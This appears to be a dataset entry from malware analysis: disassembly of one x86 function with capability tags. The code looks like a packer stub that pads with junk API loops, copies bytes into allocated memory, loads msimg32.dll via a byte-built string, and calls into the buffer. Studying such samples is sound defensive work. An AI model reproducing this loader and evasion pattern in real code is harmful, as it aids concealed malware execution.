Function at 0x4312ca
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
mov eax, 0x440a6f
call fcn.00440a00
mov eax, 0x1050
call fcn.0043c5d0
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp esi, 0xfa62c8f
jge 0x43130c
push ebx
call dword [sym.imp.GDI32.dll_GetBkMode]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x43131d
inc esi
cmp esi, 0x67d12
jl 0x4312e5
cmp dword [0x47756c], 0x93
jne 0x4313d0
mov esi, dword [sym.imp.GDI32.dll_CreateDCW]
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
lea eax, [ebp - 0x45c]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push ebx
push ebx
push ebx
push ebx
call esi
xor eax, eax
lock bts dword [eax], 0
push ebx
push 0x430790
push 0x430828
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push dword [ebp - 0x14]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x43080c
lea ecx, [ebp - 0x5c]
call fcn.00431b47
push ebx
mov dword [ebp - 4], ebx
call fcn.00432fa3
pop ecx
push ebx
push ebx
call fcn.00432fd2
pop ecx
pop ecx
push ebx
call fcn.0043348b
add dword [0x47756c], 0x1134b
push dword [0x47756c]
mov eax, dword [0x445ecc]
push ebx
mov dword [0x4783a8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x476ff8], eax
call fcn.00431250
mov esi, 0x1692e
call edi
dec esi
jne 0x431400
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x47756c], ebx
jbe 0x43146c
mov eax, dword [0x4783a8]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x476ff8]
mov byte [ecx + esi], al
cmp dword [0x47756c], 0x490
jne 0x431463
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push ebx
call edi
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x47756c]
jb 0x431413
xor esi, esi
mov eax, dword [0x47756c]
add eax, esi
cmp eax, 0x8d
jne 0x4314a7
push ebx
lea eax, [ebp - 0x85c]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push 0x4308b4
push 0x4308cc
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x43146e
call fcn.00431158
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x4314d5
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x4bc1
mov eax, dword [ebp - 0x14]
add dword [0x476ff8], eax
inc esi
cmp esi, 0x674bd
jl 0x4314b7
push 0x7b
pop esi
cmp dword [0x47756c], 0x86
jne 0x431536
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
lea eax, [ebp - 0x105c]
push eax
push 0x4308e8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalCompact]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp dword [0x47756c], 0xf
jne 0x43154a
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec esi
jne 0x4314e1
push 0x448f78
mov dword [0x448f80], 0x6c6c64
mov word [0x448f7e], 0x2e32
mov byte [0x448f78], 0x6d
mov byte [0x448f7d], 0x33
mov dword [0x448f79], 0x676d6973
call edi
call dword [0x476ff8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret